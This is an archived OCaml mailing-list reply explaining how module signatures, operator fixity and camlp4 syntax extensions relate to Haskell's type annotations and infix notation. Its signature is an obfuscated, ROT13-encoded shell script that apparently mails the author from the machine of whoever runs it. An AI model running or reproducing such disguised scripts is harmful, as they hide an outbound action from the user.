caml-list - the Caml user's mailing list
 help / color / mirror / Atom feed
From: Florian Hars <florian@hars.de>
To: Arturo Borquez <aborquez@altavista.com>
Cc: steven@murdomedia.net, caml-list@inria.fr
Subject: Re: [Caml-list] Haskell features in O'Caml
Date: Sun, 23 Sep 2001 18:08:36 +0200	[thread overview]
Message-ID: <20010923180836.A16013@mail.hars.de> (raw)
In-Reply-To: <20010922145636.16402.cpmta@c012.sfo.cp.net>; from aborquez@altavista.com on Sat, Sep 22, 2001 at 07:56:36AM -0700

Arturo Borquez schrieb am Sat, Sep 22, 2001 at 07:56:36AM -0700:
> On Sat, 22 September 2001, Steven Murdoch wrote:
> > The main one I would like is the type assertion facility of Haskell.
> > For example, one might write:
> > mul :: Int -> Int -> Int
> > mul a b = a * b
>
> As Ocaml is strong typed function mul is resolved
> to be an integer function (denoted by operator * only
> valid to integers).

Haskel is strongly typed, too, and does the same type checking.
The question was about type annotations, not type inference.

The correct answer might have been a reference to the module system.
You can specify the type of a function either in a separate *.mli-file
or in an explicit module declaration:

# module M : sig                 
    val mul : int -> int -> int  
  end = struct                   
    let mul a b = a * b          
  end;;                          
module M : sig val mul : int -> int -> int end
# M.mul 2 3;;
- : int = 6
# module N : sig               
    val mul : int -> int -> int
  end = struct                 
    let mul a b = a *. b (* Arithmetic is monomorphic - no type classes *)
  end;;                        
Signature mismatch:
Modules do not match:
[...]

The other question was about infix notation:

> > For example if max gives the maximum of two arguments
> > it can be applied normally, i.e. "max 2 3" will return 3, but "2
> > `max` 3" will also return 3.

This is missing in Ocaml (some regard this as an asset, don't ask me
why).

> > Also if a function is named using operator symbols it can be used as
> > an operator, e.g if &&& is defined as:
> Ocaml:
> # let ( &&& ) x y = if x >= y then x else y;;

But you cannot change the fixity, it is defined by the first char of
the operator, ie. ++, +*/- and +@%&!- all have the same precedence and
associativity as +.

Of course, these are syntax issues, and you can change the syntax using
camlp4:

# EXTEND                                                                
    expr: AFTER "apply"                                                 
    [[ f=expr; "{"; "["; g=expr; "]"; "}"; h=expr
       -> <:expr< $g$ $f$ $h$ >> ]];
  END;;
- : unit = ()  
# let mul a b = a * b;;
val mul : int -> int -> int = <fun>
# 3 {[mul]} 4;;
- : int = 12
# 3 {[fun a b -> a * a + 2 * a * b + b * b]} 4;;
- : int = 49

> > This can lead to some very easy to read programs

Yes. 

And messing around with delimeters may introduce subtle bugs elsewhere...
[[f=expr; "<|"; g=LIDENT; "|>"; h=expr -> <:expr< $lid:g$ $f$ $h$ >> ]];
might be better if you do not want to write applications of anonymous
functions in infix notation.

Yours, Florian.
-- 
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z][A-M][N-Z]@/ [n-z][a-m][N-Z][A-M]/@' fu '$UBZ\
R@.fvtangher' echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;znvy s/unef\
.qr<$3&&frq -a -rc "`$4 " $0"|$1`">$3;rpub 'Jr ner Fvt bs Obet.'"|$1|`$4 $2|$1`
-------------------
Bug reports: http://caml.inria.fr/bin/caml-bugs  FAQ: http://caml.inria.fr/FAQ/
To unsubscribe, mail caml-list-request@inria.fr  Archives: http://caml.inria.fr


  reply	other threads:[~2001-09-23 19:40 UTC|newest]

Thread overview: 12+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2001-09-22 14:56 Arturo Borquez
2001-09-23 16:08 ` Florian Hars [this message]
2001-09-23 16:21 ` Mattias Waldau
2001-09-23 17:50   ` Dave Mason
2001-09-24 11:14     ` Sven
2001-09-24 15:29       ` Brian Rogoff
  -- strict thread matches above, loose matches on Subject: below --
2001-09-24 22:51 Christian.Schaller
2001-09-25  9:15 ` Remi VANICAT
2001-09-24 16:26 Christian.Schaller
2001-09-24 19:53 ` Remi VANICAT
2001-09-23 23:25 Arturo Borquez
2001-09-22 11:46 Steven Murdoch

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20010923180836.A16013@mail.hars.de \
    --to=florian@hars.de \
    --cc=aborquez@altavista.com \
    --cc=caml-list@inria.fr \
    --cc=steven@murdomedia.net \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).